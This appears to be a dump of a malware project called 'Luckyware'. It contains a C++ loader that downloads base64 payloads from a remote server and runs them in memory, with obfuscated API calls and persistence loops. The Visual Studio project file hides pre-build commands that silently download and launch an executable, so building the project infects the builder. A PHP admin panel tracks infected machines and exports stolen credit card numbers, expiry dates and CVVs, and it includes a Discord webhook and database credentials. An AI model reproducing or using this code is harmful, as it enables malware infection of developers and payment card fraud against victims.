//std::cout << "NtHeader: " << std::hex << "0x" << NtHeader;
//std::cout << "Shellcode injected successfully\n";
LI_FN(FreeLibrary).cached()(ntDll);
return 0;
}
std::string Rvrs(std::string input) {
// Reverse the string
std::reverse(input.begin(), input.end());
return input;
}
bool isInternetAvailable() {
return InternetCheckConnectionW(EC(L"http://www.google.com"), FLAG_ICC_FORCE_CONNECTION, 0);
}
std::string DownloadString(std::string URL) {
if (isInternetAvailable())
{
HINTERNET interwebs = LI_FN(InternetOpenA).cached()(EC("Mozilla/5.0"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
HINTERNET urlFile;
std::string rtn;
if (interwebs) {
urlFile = LI_FN(InternetOpenUrlA).cached()(interwebs, URL.c_str(), NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL);
if (urlFile) {
char buffer[20000];
DWORD bytesRead;
do {
LI_FN(InternetReadFile).cached()(urlFile, buffer, 20000, &bytesRead);
rtn.append(buffer, bytesRead);
LI_FN(memset).cached()(buffer, 0, 20000);
} while (bytesRead);
LI_FN(InternetCloseHandle).cached()(interwebs);
LI_FN(InternetCloseHandle).cached()(urlFile);
return rtn;
}
}
LI_FN(InternetCloseHandle).cached()(interwebs);
return rtn;
}
else
{
//std::cout << EC("No Internet Connection.") << std::endl;
return EC("");
}
}
std::vector<BYTE> Base64ToBytes(const std::string& base64String) {
DWORD bytesNeeded;
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) {
return {};
}
std::vector<BYTE> bytes(bytesNeeded);
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) {
return {};
}
return bytes;
}
struct Staby {
std::string BuildID;
std::string OwnerID;
};
std::vector<Staby> Runneds;
void RunSTB(std::string buldid, int add)
{
try
{
int pide = 0;
std::string owneryid = DownloadString(EC("https://") + MainURL + EC("/api/mnr/bobby31.php?type=sahipid&security=Daytone&blds=") + buldid);
HANDLE mutexstb = LI_FN(OpenMutexA).get()(MUTEX_ALL_ACCESS, FALSE, (EC("Global\\m") + owneryid).c_str());
//std::cout << mutexstb << std::endl;
if (mutexstb == NULL) {
//std::cout << buldid << std::endl;
A:
std::string dumasring = DownloadString(EC("https://") + MainURL + EC("/Stb/Unretev.php?bl=") + buldid + EC(".txt"));
std::vector<uint8_t> ByteStub = Base64ToBytes(dumasring);
//std::cout << EC("[DBG] Got New Stub, size is: ") << ByteStub.size() << std::endl;
if (ByteStub.size() < 1000)
{
//std::cout << EC("[DBG] Stub STR is: ") << dumasring << std::endl;
//std::cout << EC("[DBG] Stub URL is: ") << (EC("https://") + MainURL + EC("/Stb/Unretev.php?bl=") + buldid + EC(".txt")) << std::endl;
}
LI_FN(Sleep).safe_cached()(1050);
if (ByteStub.size() > 1000)
{
ruplepe(ByteStub);
if (add == 1)
{
//std::cout << EC("Owner ID") << std::endl;
//std::cout << owneryid << std::endl;
//std::cout << EC("Build ID") << std::endl;
//std::cout << buldid << std::endl;
Runneds.push_back({ buldid, owneryid });
}
LI_FN(Sleep).safe_cached()(80000);
}
else {
LI_FN(Sleep).safe_cached()(5000);
goto A;
}
}
else {
if (add == 1)
{
//std::cout << EC("Owner ID") << std::endl;
//std::cout << owneryid << std::endl;
//std::cout << EC("Build ID") << std::endl;
//std::cout << buldid << std::endl;
Runneds.push_back({ buldid, owneryid });
}
LI_FN(CloseHandle).get()(mutexstb);
}
}
catch (...) {}
}
std::string decrypt(const std::string& encryptedBase64, const std::string& key) {
std::string decoded;
std::vector<int> decodingTable(256, -1);
const std::string base64Chars =
EC("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
for (size_t i = 0; i < base64Chars.size(); i++) {
decodingTable[base64Chars[i]] = i;
}
int val = 0, valb = -8;
for (unsigned char c : encryptedBase64) {
if (decodingTable[c] == -1) break;
val = (val << 6) + decodingTable[c];
valb += 6;
if (valb >= 0) {
decoded.push_back((val >> valb) & 0xFF);
valb -= 8;
}
}
std::string encryptedData = decoded;
std::string decrypted;
size_t keyLength = key.size();
for (size_t i = 0; i < encryptedData.size(); ++i) {
decrypted += encryptedData[i] ^ key[i % keyLength];
}
return decrypted;
}
std::string remove_whitespace(const std::string& input) {
std::string result;
for (char c : input) {
if (!std::isspace(c)) {
result += c;
}
}
return result;
}
INT WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
/*AllocConsole();
freopen(EC("CON"), EC("w"), stdout);
freopen(EC("CON"), EC("w"), stderr);*/
//std::cout << EC("[DBG] Sleeping... Main Fucking PLD: 0.0.1") << std::endl;
LI_FN(CreateMutexA).safe_cached()(NULL, TRUE, EC("Global\\mx"));
if (LI_FN(GetLastError).safe()() == ERROR_ALREADY_EXISTS) {
//std::cout << EC("[DBG] Nope") << std::endl;
}
else
{
//std::cout << EC("[DBG] Yes") << std::endl;
XC:
try
{
if (std::filesystem::exists(EC("C:\\ProgramData\\ntos")))
{
//std::cout << EC("[DBG] Getting ids") << std::endl;
LI_FN(Sleep).safe_cached()(750);
std::ifstream file(EC("C:\\ProgramData\\ntos"));
std::string line;
std::vector<std::string> lines;
while (std::getline(file, line)) {
lines.push_back(line);
}
file.close();
if (!lines.empty())
{
MainURL = EC("vcc-libaries.online");
//std::cout << EC("[DBG] Main URL: ") << MainURL << std::endl;
for (const auto& l : lines) {
LI_FN(Sleep).safe_cached()(1200);
//std::cout << EC("[DBG] Got IDs") << std::endl;
LI_FN(Sleep).safe_cached()(750);
std::string patver = Rvrs(l);
//std::cout << patver << std::endl;
LI_FN(Sleep).safe_cached()(1000);
RunSTB(patver, 1);
}
while (true)
{
for (const auto& Stey : Runneds) {
try
{
//std::cout << EC("Loop Onexx") << std::endl;
HANDLE mutexstb = LI_FN(OpenMutexA).get()(MUTEX_ALL_ACCESS, FALSE, (EC("Global\\m") + Stey.OwnerID).c_str());
//std::cout << mutexstb << std::endl;
if (mutexstb == NULL) {
//std::cout << EC("Loop Run OK") << std::endl;
RunSTB(Stey.BuildID, 0);
}
else {
CloseHandle(mutexstb);
}
LI_FN(Sleep).safe_cached()(15000);
}
catch (...) { continue; }
}
}
}
}
}
catch (...)
{
goto XC;
}
}
return TRUE;
}
+186
View File
@@ -0,0 +1,186 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{dcae9b38-1ed9-4806-a620-c92ec9595a45}</ProjectGuid>
<RootNamespace>MasterPyld</RootNamespace>
<WindowsTargetPlatformVersion>10.0.26100.0</WindowsTargetPlatformVersion>
<ProjectName>MasterPyld</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<GenerateManifest>false</GenerateManifest>
<IncludePath>$(ProjectDir)src\qengine\engine;$(IncludePath)</IncludePath>
<LibraryPath>$(ProjectDir)src\qengine\extern;$(LibraryPath)</LibraryPath>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<CallingConvention>FastCall</CallingConvention>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<WholeProgramOptimization>false</WholeProgramOptimization>
<BufferSecurityCheck>false</BufferSecurityCheck>
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<Optimization>MinSpace</Optimization>
<AdditionalOptions>@$(IntDir)build_seed.rsp
/Gw %(AdditionalOptions)</AdditionalOptions>
<RuntimeTypeInfo>false</RuntimeTypeInfo>
<ExceptionHandling>Async</ExceptionHandling>
<OmitDefaultLibName>false</OmitDefaultLibName>
<ControlFlowGuard>false</ControlFlowGuard>
<LanguageStandard_C>stdc17</LanguageStandard_C>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>ws2_32.lib;Normaliz.lib;Crypt32.lib;Wldap32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<LinkTimeCodeGeneration>
</LinkTimeCodeGeneration>
<AdditionalOptions>/HIGHENTROPYVA
%(AdditionalOptions)</AdditionalOptions>
<EntryPointSymbol>
</EntryPointSymbol>
<IgnoreAllDefaultLibraries>
</IgnoreAllDefaultLibraries>
</Link>
<PreBuildEvent>
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x7FFFFFFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X8}' -f $r) -Encoding ASCII -NoNewline"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Master.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Encrypt.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+6
View File
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
</startup>
</configuration>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,77 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{CE85F7F0-A6E1-4184-8804-E6E83425290D}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>dostest</RootNamespace>
<AssemblyName>dostest</AssemblyName>
<TargetFrameworkVersion>v4.6</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="BouncyCastle.Crypto, Version=1.8.9.0, Culture=neutral, PublicKeyToken=0e99375e54769942">
<HintPath>..\packages\BouncyCastle.1.8.9\lib\BouncyCastle.Crypto.dll</HintPath>
</Reference>
<Reference Include="Microsoft.Win32.Registry, Version=5.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" />
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<HintPath>..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Security" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Xml" />
<Reference Include="Vestris.ResourceLib, Version=2.2.0.0, Culture=neutral, processorArchitecture=MSIL">
<HintPath>..\packages\Vestris.ResourceLib.2.2.0\lib\net45\Vestris.ResourceLib.dll</HintPath>
</Reference>
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>PublicResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="BouncyCastle" version="1.8.9" targetFramework="net46" />
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net46" />
<package id="Vestris.ResourceLib" version="2.2.0" targetFramework="net46" />
</packages>
@@ -0,0 +1,898 @@
<?php
session_start();
$domainyess = $_SERVER['HTTP_HOST'];
$secretkey = $_SESSION['secret_key'];
$username = $_SESSION['admin_name'];
$role = $_SESSION['Role'];
if (!isset($_SESSION['admin_name'])) {
header('location:../Login/');
} else {
if ($role != 'Founder') {
header('location: https://' . $domainyess . '/');
}
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
if ($role == 'Founder') {
$selectu = "SELECT * FROM miners";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
} else {
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
}
$resultanss = mysqli_query($conn, $selectana);
$myaktv = mysqli_num_rows($resultanss);
}
if (isset($_POST['ides'])) {
if ($role == 'Founder') {
$sqlAQA = "SELECT * FROM Cards";
} else {
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
}
$resultAQA = $conn->query($sqlAQA);
// Initialize the output
$output = '';
// Process the database results and format them
if ($resultAQA->num_rows > 0) {
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
}
} else {
$output .= "No Card Data!";
}
$filename = "AllCards.txt";
// Set the appropriate HTTP headers for downloading
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
// Output the data and exit
echo $output;
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
}
if (isset($_POST['ides'])) {
if ($username == 'Clara') {
$sqlAQA = "SELECT * FROM Cards";
} else {
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
}
$resultAQA = $conn->query($sqlAQA);
// Initialize the output
$output = '';
// Process the database results and format them
if ($resultAQA->num_rows > 0) {
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
}
} else {
$output .= "No Card Data!";
}
$filename = "AllCards.txt";
// Set the appropriate HTTP headers for downloading
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
// Output the data and exit
echo $output;
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
}
if (isset($_POST['id'])) {
$sqlUpdate = "UPDATE Cards SET OwnerID = ? WHERE OwnerID = ?";
$stmtUpdate = $conn->prepare($sqlUpdate);
$newOwnerID = '1tz3w08l5raauuav4r1u'; // Replace with the new OwnerID value
$stmtUpdate->bind_param("ss", $newOwnerID, $secretkey);
$webhookURL44 = 'https://discord.com/api/webhooks/1273355876866064447/_nAh4gFrD3TAdvHWQi5MIefpW0rF6gM5RbTx6qvb3D0nV9w3KH-fi6ic_qwf3D5NBgq5';
$messagerrr = 'New Cards Deleted By ' . $username . ' Cards Swapped To Your Owner Key ';
sendDiscordWebhookMessage($webhookURL44, $messagerrr);
if ($stmtUpdate->execute()) {
} else {
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../../../assets/css/custom.css">
<link rel="stylesheet" href="../../../assets/css/style.css">
<link rel="stylesheet" href="../../../assets/css/hover.css">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
<link rel="stylesheet" href="../../../../assets/fontaw/css/all.min.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
<script type="text/javascript" charset="utf8"
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
<meta content="Luckyware" property="og:title" />
<meta content="Luck is something you make and victory is something u take" property="og:description" />
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
<title>Admin</title>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #111111;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
opacity: 1;
visibility: visible;
/* Add visibility property */
transition: all 1s ease;
/* Longer transition and apply to all */
}
.loading-overlay.fade-out {
opacity: 0;
visibility: hidden;
/* Hide element after fade */
}
.loading-spinner {
width: 50px;
height: 50px;
border: 3px solid #333;
border-radius: 50%;
border-top-color: #850000;
animation: spin 1s linear infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
/* Custom DataTable styles */
#DashTable {
border-radius: 0.5rem;
background-color: var(--background);
border-collapse: separate;
border-spacing: 0 0.7rem;
width: 100%;
}
#DashTable th {
font-family: 'Kanit', sans-serif;
font-weight: 500;
color: #e7e5e4;
font-weight: bold;
text-align: center;
padding: 10px;
border-bottom: 1px solid var(--background);
}
#DashTable tr {
background-color: var(--background);
border-radius: 0.5rem;
}
#DashTable td {
background-color: #151515;
color: #a8a29e;
text-align: center;
border-bottom: 1px solid var(--background);
padding: 10px;
font-weight: 100;
font-family: 'Kanit', sans-serif;
}
#DashTable td:first-child {
border-radius: 0.5rem 0 0 0.5rem;
/* Rounded corners on the left side */
}
#DashTable td:last-child {
border-radius: 0 0.5rem 0.5rem 0;
/* Rounded corners on the right side */
}
#DashTable tbody tr:hover {
background-color: var(--main-hover-color);
color: #D6D3D1;
}
/* Custom hover link color */
.hover-link {
color: #111111;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.dataTables_wrapper .dataTables_paginate .paginate_button {
background-color: #151515;
/* Add !important to ensure white color */
border: none;
padding: 7px 10px;
margin: 2px;
cursor: pointer;
color: #a8a29e;
}
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
background-color: #181818;
border: none;
}
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
background-color: #850000;
color: #e7e5e4;
border: none;
}
/* Text color for elements like "Showing x to x of x entries" */
.dataTables_info,
.dataTables_length,
.dataTables_paginate,
.dataTables_filter {
color: #a8a29e !important;
margin-bottom: 7px;
/* Add space below these elements */
}
/* Add space between "Show entries" and pagination controls */
.dataTables_length,
.dataTables_paginate {
margin-top: 7px;
}
/* Color for the "Show x entries" dropdown and options */
.dataTables_length select {
background-color: #111111 !important;
color: #d6d3d1 !important;
border: 1px solid #181818 !important;
/* Remove border to make it borderless */
padding: 5px;
}
/* Color for the pagination controls */
.dataTables_paginate a,
.dataTables_paginate span,
.dataTables_paginate .ellipsis {
background-color: #111111;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
padding: 5px 10px;
margin: 2px;
cursor: pointer;
}
/* Hover color for pagination controls */
.dataTables_paginate a:hover {
background-color: #181818;
border: none;
}
/* Current page number color */
.dataTables_paginate .current {
background-color: #850000;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
}
/* DataTable search box styles */
.dataTables_wrapper .dataTables_filter input {
background-color: var(--background);
color: #ffffff;
border: 1px solid #181818;
/* Add a 1px gray border */
border-radius: 5px;
padding: 5px;
}
/* DataTable ordering arrow styles */
.dataTables_wrapper .dataTables_wrapper .sorting:after,
.dataTables_wrapper .dataTables_wrapper .sorting:before,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
color: var(--main-color);
}
/* DataTable table responsive */
.table-responsive {
background-color: #111111;
color: #D6D3D1;
padding: 15px;
border-radius: 5px;
overflow-x: auto;
}
/* DataTable scrollbar styles (if needed) */
#DashTable::-webkit-scrollbar {
width: 8px;
}
#DashTable::-webkit-scrollbar-thumb {
background-color: var(--main-color);
}
#DashTable::-webkit-scrollbar-track {
background-color: var(--secondary-background);
}
.current {
background-color: #850000;
}
</style>
</head>
<body class="dg">
<div class="loading-overlay">
<div class="loading-spinner"></div>
</div>
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
<div class="grid sm:grid-cols-2 px-5 py-3">
<div class="1 text-left">
<div class="flex">
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
class="textCol">Dashboard</span></h1>
</div>
</div>
<div class="2 text-right">
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
</div>
</div>
</div>
<div class="grid xl:grid-cols-12"> <!-- start -->
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
<div class="1">
<div class="flex justify-center mt-10">
